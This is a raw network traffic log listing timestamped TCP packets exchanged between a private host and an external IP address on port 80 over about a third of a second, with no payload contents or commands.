Sep 15, 2024 19:37:39.219193935 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.219197989 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219211102 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.219213963 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219229937 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.219233036 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219248056 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219261885 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.220922947 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.220993042 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221008062 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221060038 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221084118 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221108913 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221123934 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221141100 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221153021 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221153021 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221163034 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221190929 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221225023 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221268892 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221286058 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221297979 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221313953 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221326113 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221404076 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221419096 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221435070 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221450090 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221451044 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221460104 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221460104 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221524954 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221563101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221579075 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221594095 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221609116 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221617937 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221630096 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221656084 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221683025 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221714020 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221754074 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221785069 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221797943 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221812963 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221839905 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221858025 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221894979 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221910954 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221925974 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221935987 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221941948 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.221947908 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221976042 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.221976042 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222038031 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222054005 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222069025 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222080946 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222095013 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222096920 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222121954 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222147942 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222172976 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222196102 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222212076 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222214937 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222228050 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222234964 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222246885 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222246885 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222261906 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222265959 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222304106 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222316980 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222353935 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222366095 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222381115 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222405910 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222417116 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222446918 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222461939 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222476959 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222486973 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222493887 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222496033 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222515106 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222527027 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222536087 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222551107 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222590923 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222676039 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222692013 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222707033 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222717047 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222722054 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222728014 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222738028 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222742081 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222757101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.222762108 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222770929 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.222795963 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.305428982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305454969 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305504084 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305526972 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.305557966 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305600882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305651903 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305685997 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305720091 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305737019 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.305737972 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.305737972 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.305752039 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.305752039 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305762053 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.305787086 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305799007 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.305830002 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.305835962 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305870056 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305883884 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.305903912 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305915117 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.305938005 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305943966 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.305972099 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.305980921 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306020975 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306030035 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306063890 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306077003 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306097984 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306112051 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306130886 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306144953 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306164980 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306174040 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306197882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306210995 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306241989 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306250095 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306282043 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306296110 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306315899 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306329012 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306349039 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306360960 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306382895 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306391954 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306416035 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306428909 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306448936 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306463957 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306485891 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306536913 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306576967 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306608915 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306643009 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306660891 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306674957 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306685925 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306708097 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306723118 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306755066 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306760073 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306793928 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306806087 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306827068 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306838989 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306893110 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306896925 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306930065 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306945086 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306963921 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.306972027 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.306997061 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307008028 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307034016 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307039976 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307068110 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307081938 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307115078 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307116032 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307185888 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307228088 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307256937 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307284117 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307290077 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307303905 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307323933 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307327986 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307357073 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307368040 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307419062 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307451963 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307466030 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307488918 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307498932 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307522058 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307560921 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307571888 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307621002 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307656050 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307672977 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307687044 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307694912 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307723999 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307753086 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.307769060 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.307792902 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.349452972 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.354523897 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.528865099 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.528887033 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.528903008 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.528918028 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.528938055 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.528975964 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.528989077 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529032946 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529048920 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529064894 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529078960 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529086113 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529094934 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529110909 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529118061 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529125929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529131889 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529144049 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529144049 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529160976 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529175997 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529186964 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529186964 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529201984 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529211998 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529217958 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529227972 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529241085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529254913 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529257059 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529272079 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529287100 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529288054 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529303074 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529309988 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529309988 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529320002 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529323101 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529336929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529352903 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529361010 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529367924 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529376030 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529376984 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529392958 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529400110 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529407978 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529418945 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529422998 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529431105 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529438972 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529449940 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529450893 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529467106 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529469967 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529478073 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529483080 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529495955 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529499054 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529515028 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529515982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529529095 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529531956 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529540062 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529550076 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529553890 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529565096 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529567003 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529581070 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529588938 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529593945 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529604912 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529609919 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529619932 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529627085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529637098 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529643059 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529658079 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529659033 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529665947 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529675961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529684067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529695034 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529700041 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529711008 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529716969 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529738903 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529755116 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529891014 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529906988 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529922009 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529937029 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529937029 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529948950 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529952049 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529968977 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.529977083 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529977083 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.529983997 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530000925 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530006886 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530009985 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530028105 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530031919 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530044079 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530050993 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530067921 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530067921 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530081034 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530083895 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530101061 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530105114 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530123949 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530133963 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.530227900 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.530242920 CEST	80	49748	46.8.231.109	192.168.2.6
